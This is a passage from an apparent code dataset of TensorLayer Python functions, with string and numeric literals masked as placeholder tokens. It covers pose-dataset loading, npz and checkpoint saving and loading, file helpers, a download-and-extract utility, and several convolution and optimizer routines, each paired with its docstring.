[x[<NUM_LIT:0>, <NUM_LIT:0>] for x in annopoint['<STR_LIT:x>'][<NUM_LIT:0>]]<EOL>y = [y[<NUM_LIT:0>, <NUM_LIT:0>] for y in annopoint['<STR_LIT:y>'][<NUM_LIT:0>]]<EOL>joint_pos = {}<EOL>for _j_id, (_x, _y) in zip(j_id, zip(x, y)):<EOL><INDENT>joint_pos[int(_j_id)] = [float(_x), float(_y)]<EOL><DEDENT>if '<STR_LIT>' in str(annopoint.dtype):<EOL><INDENT>vis = [v[<NUM_LIT:0>] if v.size > <NUM_LIT:0> else [<NUM_LIT:0>] for v in annopoint['<STR_LIT>'][<NUM_LIT:0>]]<EOL>vis = dict([(k, int(v[<NUM_LIT:0>])) if len(v) > <NUM_LIT:0> else v for k, v in zip(j_id, vis)])<EOL><DEDENT>else:<EOL><INDENT>vis = None<EOL><DEDENT>if ((is_16_pos_only ==True) and (len(joint_pos) == <NUM_LIT:16>)) or (is_16_pos_only == False):<EOL><INDENT>data = {<EOL>'<STR_LIT:filename>': img_fn,<EOL>'<STR_LIT:train>': train_flag,<EOL>'<STR_LIT>': head_rect,<EOL>'<STR_LIT>': vis,<EOL>'<STR_LIT>': joint_pos<EOL>}<EOL>if train_flag:<EOL><INDENT>ann_train_list[-<NUM_LIT:1>].append(data)<EOL><DEDENT>else:<EOL><INDENT>ann_test_list[-<NUM_LIT:1>].append(data)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>save_joints()<EOL>logging.info(\"<STR_LIT>\")<EOL>img_dir = os.path.join(path, extracted_filename2)<EOL>_img_list = load_file_list(path=os.path.join(path, extracted_filename2), regx='<STR_LIT>', printable=False)<EOL>for i, im in enumerate(img_train_list):<EOL><INDENT>if im not in _img_list:<EOL><INDENT>print('<STR_LIT>'.format(im, img_dir))<EOL>del img_train_list[i]<EOL>del ann_train_list[i]<EOL><DEDENT><DEDENT>for i, im in enumerate(img_test_list):<EOL><INDENT>if im not in _img_list:<EOL><INDENT>print('<STR_LIT>'.format(im, img_dir))<EOL>del img_train_list[i]<EOL>del ann_train_list[i]<EOL><DEDENT><DEDENT>n_train_images = len(img_train_list)<EOL>n_test_images = len(img_test_list)<EOL>n_images = n_train_images + n_test_images<EOL>logging.info(\"<STR_LIT>\".format(n_images, n_train_images, n_test_images))<EOL>n_train_ann = len(ann_train_list)<EOL>n_test_ann = len(ann_test_list)<EOL>n_ann = n_train_ann + n_test_ann<EOL>logging.info(\"<STR_LIT>\".format(n_ann, n_train_ann, n_test_ann))<EOL>n_train_people = len(sum(ann_train_list, []))<EOL>n_test_people = len(sum(ann_test_list, []))<EOL>n_people = n_train_people + n_test_people<EOL>logging.info(\"<STR_LIT>\".format(n_people, n_train_people, n_test_people))<EOL>for i, value in enumerate(img_train_list):<EOL><INDENT>img_train_list[i] = os.path.join(img_dir, value)<EOL><DEDENT>for i, value in enumerate(img_test_list):<EOL><INDENT>img_test_list[i] = os.path.join(img_dir, value)<EOL><DEDENT>return img_train_list, ann_train_list, img_test_list, ann_test_list<EOL>", "docstring": "Load MPII Human Pose Dataset.\n\n    Parameters\n    -----------\n    path : str\n        The path that the data is downloaded to.\n    is_16_pos_only : boolean\n        If True, only return the peoples contain 16 pose keypoints. (Usually be used for single person pose estimation)\n\n    Returns\n    ----------\n    img_train_list : list of str\n        The image directories of training data.\n    ann_train_list : list of dict\n        The annotations of training data.\n    img_test_list : list of str\n        The image directories of testing data.\n    ann_test_list : list of dict\n        The annotations of testing data.\n\n    Examples\n    --------\n    >>> import pprint\n    >>> import tensorlayer as tl\n    >>> img_train_list, ann_train_list, img_test_list, ann_test_list = tl.files.load_mpii_pose_dataset()\n    >>> image = tl.vis.read_image(img_train_list[0])\n    >>> tl.vis.draw_mpii_pose_to_image(image, ann_train_list[0], 'image.png')\n    >>> pprint.pprint(ann_train_list[0])\n\n    References\n    -----------\n    - `MPII Human Pose Dataset. CVPR 14 <http://human-pose.mpi-inf.mpg.de>`__\n    - `MPII Human Pose Models. CVPR 16 <http://pose.mpi-inf.mpg.de>`__\n    - `MPII Human Shape, Poselet Conditioned Pictorial Structures and etc <http://pose.mpi-inf.mpg.de/#related>`__\n    - `MPII Keyponts and ID <http://human-pose.mpi-inf.mpg.de/#download>`__", "id": "f11137:m16"}
{"signature": "def save_npz(save_list=None, name='<STR_LIT>', sess=None):", "body": "logging.info(\"<STR_LIT>\" % name)<EOL>if save_list is None:<EOL><INDENT>save_list = []<EOL><DEDENT>save_list_var = []<EOL>if sess:<EOL><INDENT>save_list_var = sess.run(save_list)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>save_list_var.extend([v.eval() for v in save_list])<EOL><DEDENT>except Exception:<EOL><INDENT>logging.info(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>np.savez(name, params=save_list_var)<EOL>save_list_var = None<EOL>del save_list_var<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Input parameters and the file name, save parameters into .npz file. Use tl.utils.load_npz() to restore.\n\n    Parameters\n    ----------\n    save_list : list of tensor\n        A list of parameters (tensor) to be saved.\n    name : str\n        The name of the `.npz` file.\n    sess : None or Session\n        Session may be required in some case.\n\n    Examples\n    --------\n    Save model to npz\n\n    >>> tl.files.save_npz(network.all_params, name='model.npz', sess=sess)\n\n    Load model from npz (Method 1)\n\n    >>> load_params = tl.files.load_npz(name='model.npz')\n    >>> tl.files.assign_params(sess, load_params, network)\n\n    Load model from npz (Method 2)\n\n    >>> tl.files.load_and_assign_npz(sess=sess, name='model.npz', network=network)\n\n    Notes\n    -----\n    If you got session issues, you can change the value.eval() to value.eval(session=sess)\n\n    References\n    ----------\n    `Saving dictionary using numpy <http://stackoverflow.com/questions/22315595/saving-dictionary-of-header-information-using-numpy-savez>`__", "id": "f11137:m17"}
{"signature": "def load_npz(path='<STR_LIT>', name='<STR_LIT>'):", "body": "d = np.load(os.path.join(path, name))<EOL>return d['<STR_LIT>']<EOL>", "docstring": "Load the parameters of a Model saved by tl.files.save_npz().\n\n    Parameters\n    ----------\n    path : str\n        Folder path to `.npz` file.\n    name : str\n        The name of the `.npz` file.\n\n    Returns\n    --------\n    list of array\n        A list of parameters in order.\n\n    Examples\n    --------\n    - See ``tl.files.save_npz``\n\n    References\n    ----------\n    - `Saving dictionary using numpy <http://stackoverflow.com/questions/22315595/saving-dictionary-of-header-information-using-numpy-savez>`__", "id": "f11137:m18"}
{"signature": "def assign_params(sess, params, network):", "body": "ops = []<EOL>for idx, param in enumerate(params):<EOL><INDENT>ops.append(network.all_params[idx].assign(param))<EOL><DEDENT>if sess is not None:<EOL><INDENT>sess.run(ops)<EOL><DEDENT>return ops<EOL>", "docstring": "Assign the given parameters to the TensorLayer network.\n\n    Parameters\n    ----------\n    sess : Session\n        TensorFlow Session.\n    params : list of array\n        A list of parameters (array) in order.\n    network : :class:`Layer`\n        The network to be assigned.\n\n    Returns\n    --------\n    list of operations\n        A list of tf ops in order that assign params. Support sess.run(ops) manually.\n\n    Examples\n    --------\n    - See ``tl.files.save_npz``\n\n    References\n    ----------\n    - `Assign value to a TensorFlow variable <http://stackoverflow.com/questions/34220532/how-to-assign-value-to-a-tensorflow-variable>`__", "id": "f11137:m19"}
{"signature": "def load_and_assign_npz(sess=None, name=None, network=None):", "body": "if network is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if sess is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not os.path.exists(name):<EOL><INDENT>logging.error(\"<STR_LIT>\".format(name))<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>params = load_npz(name=name)<EOL>assign_params(sess, params, network)<EOL>logging.info(\"<STR_LIT>\".format(name))<EOL>return network<EOL><DEDENT>", "docstring": "Load model from npz and assign to a network.\n\n    Parameters\n    -------------\n    sess : Session\n        TensorFlow Session.\n    name : str\n        The name of the `.npz` file.\n    network : :class:`Layer`\n        The network to be assigned.\n\n    Returns\n    --------\n    False or network\n        Returns False, if the model is not exist.\n\n    Examples\n    --------\n    - See ``tl.files.save_npz``", "id": "f11137:m20"}
{"signature": "def save_npz_dict(save_list=None, name='<STR_LIT>', sess=None):", "body": "if sess is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if save_list is None:<EOL><INDENT>save_list = []<EOL><DEDENT>save_list_names = [tensor.name for tensor in save_list]<EOL>save_list_var = sess.run(save_list)<EOL>save_var_dict = {save_list_names[idx]: val for idx, val in enumerate(save_list_var)}<EOL>np.savez(name, **save_var_dict)<EOL>save_list_var = None<EOL>save_var_dict = None<EOL>del save_list_var<EOL>del save_var_dict<EOL>logging.info(\"<STR_LIT>\" % name)<EOL>", "docstring": "Input parameters and the file name, save parameters as a dictionary into .npz file.\n\n    Use ``tl.files.load_and_assign_npz_dict()`` to restore.\n\n    Parameters\n    ----------\n    save_list : list of parameters\n        A list of parameters (tensor) to be saved.\n    name : str\n        The name of the `.npz` file.\n    sess : Session\n        TensorFlow Session.", "id": "f11137:m21"}
{"signature": "def load_and_assign_npz_dict(name='<STR_LIT>', sess=None):", "body": "if sess is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not os.path.exists(name):<EOL><INDENT>logging.error(\"<STR_LIT>\".format(name))<EOL>return False<EOL><DEDENT>params = np.load(name)<EOL>if len(params.keys()) != len(set(params.keys())):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>ops = list()<EOL>for key in params.keys():<EOL><INDENT>try:<EOL><INDENT>varlist = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, scope=key)<EOL>if len(varlist) > <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % key)<EOL><DEDENT>elif len(varlist) == <NUM_LIT:0>:<EOL><INDENT>raise KeyError<EOL><DEDENT>else:<EOL><INDENT>ops.append(varlist[<NUM_LIT:0>].assign(params[key]))<EOL>logging.info(\"<STR_LIT>\" % key)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>logging.info(\"<STR_LIT>\" % key)<EOL><DEDENT><DEDENT>sess.run(ops)<EOL>logging.info(\"<STR_LIT>\" % name)<EOL>", "docstring": "Restore the parameters saved by ``tl.files.save_npz_dict()``.\n\n    Parameters\n    ----------\n    name : str\n        The name of the `.npz` file.\n    sess : Session\n        TensorFlow Session.", "id": "f11137:m22"}
{"signature": "def save_ckpt(<EOL>sess=None, mode_name='<STR_LIT>', save_dir='<STR_LIT>', var_list=None, global_step=None, printable=False<EOL>):", "body": "if sess is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if var_list is None:<EOL><INDENT>var_list = []<EOL><DEDENT>ckpt_file = os.path.join(save_dir, mode_name)<EOL>if var_list == []:<EOL><INDENT>var_list = tf.global_variables()<EOL><DEDENT>logging.info(\"<STR_LIT>\" % (ckpt_file, len(var_list)))<EOL>if printable:<EOL><INDENT>for idx, v in enumerate(var_list):<EOL><INDENT>logging.info(\"<STR_LIT>\".format(idx, v.name, str(v.get_shape())))<EOL><DEDENT><DEDENT>saver = tf.train.Saver(var_list)<EOL>saver.save(sess, ckpt_file, global_step=global_step)<EOL>", "docstring": "Save parameters into `ckpt` file.\n\n    Parameters\n    ------------\n    sess : Session\n        TensorFlow Session.\n    mode_name : str\n        The name of the model, default is ``model.ckpt``.\n    save_dir : str\n        The path / file directory to the `ckpt`, default is ``checkpoint``.\n    var_list : list of tensor\n        The parameters / variables (tensor) to be saved. If empty, save all global variables (default).\n    global_step : int or None\n        Step number.\n    printable : boolean\n        Whether to print all parameters information.\n\n    See Also\n    --------\n    load_ckpt", "id": "f11137:m23"}
{"signature": "def save_any_to_npy(save_dict=None, name='<STR_LIT>'):", "body": "if save_dict is None:<EOL><INDENT>save_dict = {}<EOL><DEDENT>np.save(name, save_dict)<EOL>", "docstring": "Save variables to `.npy` file.\n\n    Parameters\n    ------------\n    save_dict : directory\n        The variables to be saved.\n    name : str\n        File name.\n\n    Examples\n    ---------\n    >>> tl.files.save_any_to_npy(save_dict={'data': ['a','b']}, name='test.npy')\n    >>> data = tl.files.load_npy_to_any(name='test.npy')\n    >>> print(data)\n    {'data': ['a','b']}", "id": "f11137:m25"}
{"signature": "def load_npy_to_any(path='<STR_LIT>', name='<STR_LIT>'):", "body": "file_path = os.path.join(path, name)<EOL>try:<EOL><INDENT>return np.load(file_path).item()<EOL><DEDENT>except Exception:<EOL><INDENT>return np.load(file_path)<EOL><DEDENT>raise Exception(\"<STR_LIT>\" % file_path)<EOL>", "docstring": "Load `.npy` file.\n\n    Parameters\n    ------------\n    path : str\n        Path to the file (optional).\n    name : str\n        File name.\n\n    Examples\n    ---------\n    - see tl.files.save_any_to_npy()", "id": "f11137:m26"}
{"signature": "def file_exists(filepath):", "body": "return os.path.isfile(filepath)<EOL>", "docstring": "Check whether a file exists by given file path.", "id": "f11137:m27"}
{"signature": "def folder_exists(folderpath):", "body": "return os.path.isdir(folderpath)<EOL>", "docstring": "Check whether a folder exists by given folder path.", "id": "f11137:m28"}
{"signature": "def del_file(filepath):", "body": "os.remove(filepath)<EOL>", "docstring": "Delete a file by given file path.", "id": "f11137:m29"}
{"signature": "def del_folder(folderpath):", "body": "shutil.rmtree(folderpath)<EOL>", "docstring": "Delete a folder by given folder path.", "id": "f11137:m30"}
{"signature": "def read_file(filepath):", "body": "with open(filepath, '<STR_LIT:r>') as afile:<EOL><INDENT>return afile.read()<EOL><DEDENT>", "docstring": "Read a file and return a string.\n\n    Examples\n    ---------\n    >>> data = tl.files.read_file('data.txt')", "id": "f11137:m31"}
{"signature": "def load_file_list(path=None, regx='<STR_LIT>', printable=True, keep_prefix=False):", "body": "if path is None:<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>file_list = os.listdir(path)<EOL>return_list = []<EOL>for _, f in enumerate(file_list):<EOL><INDENT>if re.search(regx, f):<EOL><INDENT>return_list.append(f)<EOL><DEDENT><DEDENT>if keep_prefix:<EOL><INDENT>for i, f in enumerate(return_list):<EOL><INDENT>return_list[i] = os.path.join(path, f)<EOL><DEDENT><DEDENT>if printable:<EOL><INDENT>logging.info('<STR_LIT>' % return_list)<EOL>logging.info('<STR_LIT>' % len(return_list))<EOL><DEDENT>return return_list<EOL>", "docstring": "r\"\"\"Return a file list in a folder by given a path and regular expression.\n\n    Parameters\n    ----------\n    path : str or None\n        A folder path, if `None`, use the current directory.\n    regx : str\n        The regx of file name.\n    printable : boolean\n        Whether to print the files infomation.\n    keep_prefix : boolean\n        Whether to keep path in the file name.\n\n    Examples\n    ----------\n    >>> file_list = tl.files.load_file_list(path=None, regx='w1pre_[0-9]+\\.(npz)')", "id": "f11137:m32"}
{"signature": "def load_folder_list(path=\"<STR_LIT>\"):", "body": "return [os.path.join(path, o) for o in os.listdir(path) if os.path.isdir(os.path.join(path, o))]<EOL>", "docstring": "Return a folder list in a folder by given a folder path.\n\n    Parameters\n    ----------\n    path : str\n        A folder path.", "id": "f11137:m33"}
{"signature": "def exists_or_mkdir(path, verbose=True):", "body": "if not os.path.exists(path):<EOL><INDENT>if verbose:<EOL><INDENT>logging.info(\"<STR_LIT>\" % path)<EOL><DEDENT>os.makedirs(path)<EOL>return False<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>logging.info(\"<STR_LIT>\" % path)<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "Check a folder by given name, if not exist, create the folder and return False,\n    if directory exists, return True.\n\n    Parameters\n    ----------\n    path : str\n        A folder path.\n    verbose : boolean\n        If True (default), prints results.\n\n    Returns\n    --------\n    boolean\n        True if folder already exist, otherwise, returns False and create the folder.\n\n    Examples\n    --------\n    >>> tl.files.exists_or_mkdir(\"checkpoints/train\")", "id": "f11137:m34"}
{"signature": "def maybe_download_and_extract(filename, working_directory, url_source, extract=False, expected_bytes=None):", "body": "<EOL>def _download(filename, working_directory, url_source):<EOL><INDENT>progress_bar = progressbar.ProgressBar()<EOL>def _dlProgress(count, blockSize, totalSize, pbar=progress_bar):<EOL><INDENT>if (totalSize != <NUM_LIT:0>):<EOL><INDENT>if not pbar.max_value:<EOL><INDENT>totalBlocks = math.ceil(float(totalSize) / float(blockSize))<EOL>pbar.max_value = int(totalBlocks)<EOL><DEDENT>pbar.update(count, force=True)<EOL><DEDENT><DEDENT>filepath = os.path.join(working_directory, filename)<EOL>logging.info('<STR_LIT>' % filename)<EOL>urlretrieve(url_source + filename, filepath, reporthook=_dlProgress)<EOL><DEDENT>exists_or_mkdir(working_directory, verbose=False)<EOL>filepath = os.path.join(working_directory, filename)<EOL>if not os.path.exists(filepath):<EOL><INDENT>_download(filename, working_directory, url_source)<EOL>statinfo = os.stat(filepath)<EOL>logging.info('<STR_LIT>' % (filename, statinfo.st_size))  <EOL>if (not (expected_bytes is None) and (expected_bytes != statinfo.st_size)):<EOL><INDENT>raise Exception('<STR_LIT>' + filename + '<STR_LIT>')<EOL><DEDENT>if (extract):<EOL><INDENT>if tarfile.is_tarfile(filepath):<EOL><INDENT>logging.info('<STR_LIT>')<EOL>tarfile.open(filepath, '<STR_LIT:r>').extractall(working_directory)<EOL>logging.info('<STR_LIT>')<EOL><DEDENT>elif zipfile.is_zipfile(filepath):<EOL><INDENT>logging.info('<STR_LIT>')<EOL>with zipfile.ZipFile(filepath) as zf:<EOL><INDENT>zf.extractall(working_directory)<EOL><DEDENT>logging.info('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>return filepath<EOL>", "docstring": "Checks if file exists in working_directory otherwise tries to dowload the file,\n    and optionally also tries to extract the file if format is \".zip\" or \".tar\"\n\n    Parameters\n    -----------\n    filename : str\n        The name of the (to be) dowloaded file.\n    working_directory : str\n        A folder path to search for the file in and dowload the file to\n    url : str\n        The URL to download the file from\n    extract : boolean\n        If True, tries to uncompress the dowloaded file is \".tar.gz/.tar.bz2\" or \".zip\" file, default is False.\n    expected_bytes : int or None\n        If set tries to verify that the downloaded file is of the specified size, otherwise raises an Exception, defaults is None which corresponds to no check being performed.\n\n    Returns\n    ----------\n    str\n        File path of the dowloaded (uncompressed) file.\n\n    Examples\n    --------\n    >>> down_file = tl.files.maybe_download_and_extract(filename='train-images-idx3-ubyte.gz',\n    ...                                            working_directory='data/',\n    ...                                            url_source='http://yann.lecun.com/exdb/mnist/')\n    >>> tl.files.maybe_download_and_extract(filename='ADEChallengeData2016.zip',\n    ...                                             working_directory='data/',\n    ...                                             url_source='http://sceneparsing.csail.mit.edu/data/',\n    ...                                             extract=True)", "id": "f11137:m35"}
{"signature": "def natural_keys(text):", "body": "<EOL>def atoi(text):<EOL><INDENT>return int(text) if text.isdigit() else text<EOL><DEDENT>return [atoi(c) for c in re.split('<STR_LIT>', text)]<EOL>", "docstring": "Sort list of string with number in human order.\n\n    Examples\n    ----------\n    >>> l = ['im1.jpg', 'im31.jpg', 'im11.jpg', 'im21.jpg', 'im03.jpg', 'im05.jpg']\n    >>> l.sort(key=tl.files.natural_keys)\n    ['im1.jpg', 'im03.jpg', 'im05', 'im11.jpg', 'im21.jpg', 'im31.jpg']\n    >>> l.sort() # that is what we dont want\n    ['im03.jpg', 'im05', 'im1.jpg', 'im11.jpg', 'im21.jpg', 'im31.jpg']\n\n    References\n    ----------\n    - `link <http://nedbatchelder.com/blog/200712/human_sorting.html>`__", "id": "f11137:m36"}
{"signature": "def npz_to_W_pdf(path=None, regx='<STR_LIT>'):", "body": "file_list = load_file_list(path=path, regx=regx)<EOL>for f in file_list:<EOL><INDENT>W = load_npz(path, f)[<NUM_LIT:0>]<EOL>logging.info(\"<STR_LIT>\" % (f, f.split('<STR_LIT:.>')[<NUM_LIT:0>] + '<STR_LIT>'))<EOL>visualize.draw_weights(W, second=<NUM_LIT:10>, saveable=True, name=f.split('<STR_LIT:.>')[<NUM_LIT:0>], fig_idx=<NUM_LIT>)<EOL><DEDENT>", "docstring": "r\"\"\"Convert the first weight matrix of `.npz` file to `.pdf` by using `tl.visualize.W()`.\n\n    Parameters\n    ----------\n    path : str\n        A folder path to `npz` files.\n    regx : str\n        Regx for the file name.\n\n    Examples\n    ---------\n    Convert the first weight matrix of w1_pre...npz file to w1_pre...pdf.\n\n    >>> tl.files.npz_to_W_pdf(path='/Users/.../npz_file/', regx='w1pre_[0-9]+\\.(npz)')", "id": "f11137:m37"}
{"signature": "def __init__(self, learning_rate=<NUM_LIT>, beta1=<NUM_LIT>, beta2=<NUM_LIT>, epsilon=<NUM_LIT>, use_locking=False, name=\"<STR_LIT>\"):", "body": "super(AMSGrad, self).__init__(use_locking, name)<EOL>self._lr = learning_rate<EOL>self._beta1 = beta1<EOL>self._beta2 = beta2<EOL>self._epsilon = epsilon<EOL>self._lr_t = None<EOL>self._beta1_t = None<EOL>self._beta2_t = None<EOL>self._epsilon_t = None<EOL>self._beta1_power = None<EOL>self._beta2_power = None<EOL>", "docstring": "Construct a new Adam optimizer.", "id": "f11138:c0:m0"}
{"signature": "def roi_pooling(input, rois, pool_height, pool_width):", "body": "<EOL>out = roi_pooling_module.roi_pooling(input, rois, pool_height=pool_height, pool_width=pool_width)<EOL>output, argmax_output = out[<NUM_LIT:0>], out[<NUM_LIT:1>]<EOL>return output<EOL>", "docstring": "returns a tensorflow operation for computing the Region of Interest Pooling\n\n@arg input: feature maps on which to perform the pooling operation\n@arg rois: list of regions of interest in the format (feature map index, upper left, bottom right)\n@arg pool_width: size of the pooling sections", "id": "f11142:m0"}
{"signature": "@private_method<EOL><INDENT>def _to_bc_h_w(self, x, x_shape):<DEDENT>", "body": "x = tf.transpose(x, [<NUM_LIT:0>, <NUM_LIT:3>, <NUM_LIT:1>, <NUM_LIT:2>])<EOL>x = tf.reshape(x, (-<NUM_LIT:1>, x_shape[<NUM_LIT:1>], x_shape[<NUM_LIT:2>]))<EOL>return x<EOL>", "docstring": "(b, h, w, c) -> (b*c, h, w)", "id": "f11162:c0:m1"}
{"signature": "@private_method<EOL><INDENT>def _to_b_h_w_n_c(self, x, x_shape):<DEDENT>", "body": "x = tf.reshape(x, (-<NUM_LIT:1>, x_shape[<NUM_LIT:4>], x_shape[<NUM_LIT:1>], x_shape[<NUM_LIT:2>], x_shape[<NUM_LIT:3>]))<EOL>x = tf.transpose(x, [<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>, <NUM_LIT:1>])<EOL>return x<EOL>", "docstring": "(b*c, h, w, n) -> (b, h, w, n, c)", "id": "f11162:c0:m2"}
{"signature": "@private_method<EOL><INDENT>def tf_flatten(self, a):<DEDENT>", "body": "return tf.reshape(a, [-<NUM_LIT:1>])<EOL>", "docstring": "Flatten tensor", "id": "f11162:c0:m3"}
{"signature": "@private_method<EOL><INDENT>def _tf_repeat(self, a, repeats):<DEDENT>", "body": "<EOL>if len(a.get_shape()) != <NUM_LIT:1>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>a = tf.expand_dims(a, -<NUM_LIT:1>)<EOL>a = tf.tile(a, [<NUM_LIT:1>, repeats])<EOL>a = self.tf_flatten(a)<EOL>return a<EOL>", "docstring": "Tensorflow version of np.repeat for 1D", "id": "f11162:c0:m5"}
{"signature": "@private_method<EOL><INDENT>def _tf_batch_map_coordinates(self, inputs, coords):<DEDENT>", "body": "input_shape = inputs.get_shape()<EOL>coords_shape = coords.get_shape()<EOL>batch_channel = tf.shape(inputs)[<NUM_LIT:0>]<EOL>input_h = int(input_shape[<NUM_LIT:1>])<EOL>input_w = int(input_shape[<NUM_LIT:2>])<EOL>kernel_n = int(coords_shape[<NUM_LIT:3>])<EOL>n_coords = input_h * input_w * kernel_n<EOL>coords_lt = tf.cast(tf.floor(coords), '<STR_LIT>')<EOL>coords_rb = tf.cast(tf.ceil(coords), '<STR_LIT>')<EOL>coords_lb = tf.stack([coords_lt[:, :, :, :, <NUM_LIT:0>], coords_rb[:, :, :, :, <NUM_LIT:1>]], axis=-<NUM_LIT:1>)<EOL>coords_rt = tf.stack([coords_rb[:, :, :, :, <NUM_LIT:0>], coords_lt[:, :, :, :, <NUM_LIT:1>]], axis=-<NUM_LIT:1>)<EOL>idx = self._tf_repeat(tf.range(batch_channel), n_coords)<EOL>vals_lt = self._get_vals_by_coords(inputs, coords_lt, idx, (batch_channel, input_h, input_w, kernel_n))<EOL>vals_rb = self._get_vals_by_coords(inputs, coords_rb, idx, (batch_channel, input_h, input_w, kernel_n))<EOL>vals_lb = self._get_vals_by_coords(inputs, coords_lb, idx, (batch_channel, input_h, input_w, kernel_n))<EOL>vals_rt = self._get_vals_by_coords(inputs, coords_rt, idx, (batch_channel, input_h, input_w, kernel_n))<EOL>coords_offset_lt = coords - tf.cast(coords_lt, '<STR_LIT>')<EOL>vals_t = vals_lt + (vals_rt - vals_lt) * coords_offset_lt[:, :, :, :, <NUM_LIT:0>]<EOL>vals_b = vals_lb + (vals_rb - vals_lb) * coords_offset_lt[:, :, :, :, <NUM_LIT:0>]<EOL>mapped_vals = vals_t + (vals_b - vals_t) * coords_offset_lt[:, :, :, :, <NUM_LIT:1>]<EOL>return mapped_vals<EOL>", "docstring": "Batch version of tf_map_coordinates\n\n        Only supports 2D feature maps\n\n        Parameters\n        ----------\n        inputs : ``tf.Tensor``\n            shape = (b*c, h, w)\n        coords : ``tf.Tensor``\n            shape = (b*c, h, w, n, 2)\n\n        Returns\n        -------\n        ``tf.Tensor``\n            A Tensor with the shape as (b*c, h, w, n)", "id": "f11162:c0:m6"}
{"signature": "@private_method<EOL><INDENT>def _tf_batch_map_offsets(self, inputs, offsets, grid_offset):<DEDENT>", "body": "input_shape = inputs.get_shape()<EOL>batch_size = tf.shape(inputs)[<NUM_LIT:0>]<EOL>kernel_n = int(int(offsets.get_shape()[<NUM_LIT:3>]) / <NUM_LIT:2>)<EOL>input_h = input_shape[<NUM_LIT:1>]<EOL>input_w = input_shape[<NUM_LIT:2>]<EOL>channel = input_shape[<NUM_LIT:3>]<EOL>inputs = self._to_bc_h_w(inputs, input_shape)<EOL>offsets = tf.reshape(offsets, (batch_size, input_h, input_w, kernel_n, <NUM_LIT:2>))<EOL>coords = tf.expand_dims(grid_offset, <NUM_LIT:0>)  <EOL>coords = tf.tile(coords, [batch_size, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]) + offsets  <EOL>coords = tf.stack(<EOL>[<EOL>tf.clip_by_value(coords[:, :, :, :, <NUM_LIT:0>], <NUM_LIT:0.0>, tf.cast(input_h - <NUM_LIT:1>, '<STR_LIT>')),<EOL>tf.clip_by_value(coords[:, :, :, :, <NUM_LIT:1>], <NUM_LIT:0.0>, tf.cast(input_w - <NUM_LIT:1>, '<STR_LIT>'))<EOL>], axis=-<NUM_LIT:1><EOL>)<EOL>coords = tf.tile(coords, [channel, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>])<EOL>mapped_vals = self._tf_batch_map_coordinates(inputs, coords)<EOL>mapped_vals = self._to_b_h_w_n_c(mapped_vals, [batch_size, input_h, input_w, kernel_n, channel])<EOL>return mapped_vals<EOL>", "docstring": "Batch map offsets into input\n\n        Parameters\n        ------------\n        inputs : ``tf.Tensor``\n            shape = (b, h, w, c)\n        offsets: ``tf.Tensor``\n            shape = (b, h, w, 2*n)\n        grid_offset: `tf.Tensor``\n            Offset grids shape = (h, w, n, 2)\n\n        Returns\n        -------\n        ``tf.Tensor``\n            A Tensor with the shape as (b, h, w, c)", "id": "f11162:c0:m7"}
{"signature": "@deprecated_alias(layer='<STR_LIT>', end_support_version=<NUM_LIT>)  <EOL>def atrous_conv1d(<EOL>prev_layer,<EOL>n_filter=<NUM_LIT:32>,<EOL>filter_size=<NUM_LIT:2>,<EOL>stride=<NUM_LIT:1>,<EOL>dilation=<NUM_LIT:1>,<EOL>act=None,<EOL>padding='<STR_LIT>',<EOL>data_format='<STR_LIT>',<EOL>W_init=tf.truncated_normal_initializer(stddev=<NUM_LIT>),<EOL>b_init=tf.constant_initializer(value=<NUM_LIT:0.0>),<EOL>W_init_args=None,<EOL>b_init_args=None,<EOL>name='<STR_LIT>',<EOL>):", "body": "return Conv1dLayer(<EOL>prev_layer=prev_layer,<EOL>act=act,<EOL>shape=(filter_size, int(prev_layer.outputs.get_shape()[-<NUM_LIT:1>]), n_filter),<EOL>stride=stride,<EOL>padding=padding,<EOL>dilation_rate=dilation,<EOL>data_format=data_format,<EOL>W_init=W_init,<EOL>b_init=b_init,<EOL>W_init_args=W_init_args,<EOL>b_init_args=b_init_args,<EOL>name=name,<EOL>)<EOL>", "docstring": "Simplified version of :class:`AtrousConv1dLayer`.\n\n    Parameters\n    ----------\n    prev_layer : :class:`Layer`\n        Previous layer.\n    n_filter : int\n        The number of filters.\n    filter_size : int\n        The filter size.\n    stride : tuple of int\n        The strides: (height, width).\n    dilation : int\n        The filter dilation size.\n    act : activation function\n        The activation function of this layer.\n    padding : str\n        The padding algorithm type: \"SAME\" or \"VALID\".\n    data_format : str\n        Default is 'NWC' as it is a 1D CNN.\n    W_init : initializer\n        The initializer for the weight matrix.\n    b_init : initializer or None\n        The initializer for the bias vector. If None, skip biases.\n    W_init_args : dictionary\n        The arguments for the weight matrix initializer.\n    b_init_args : dictionary\n        The arguments for the bias vector initializer.\n    name : str\n        A unique layer name.\n\n    Returns\n    -------\n    :class:`Layer`\n        A :class:`AtrousConv1dLayer` object", "id": "f11167:m0"}
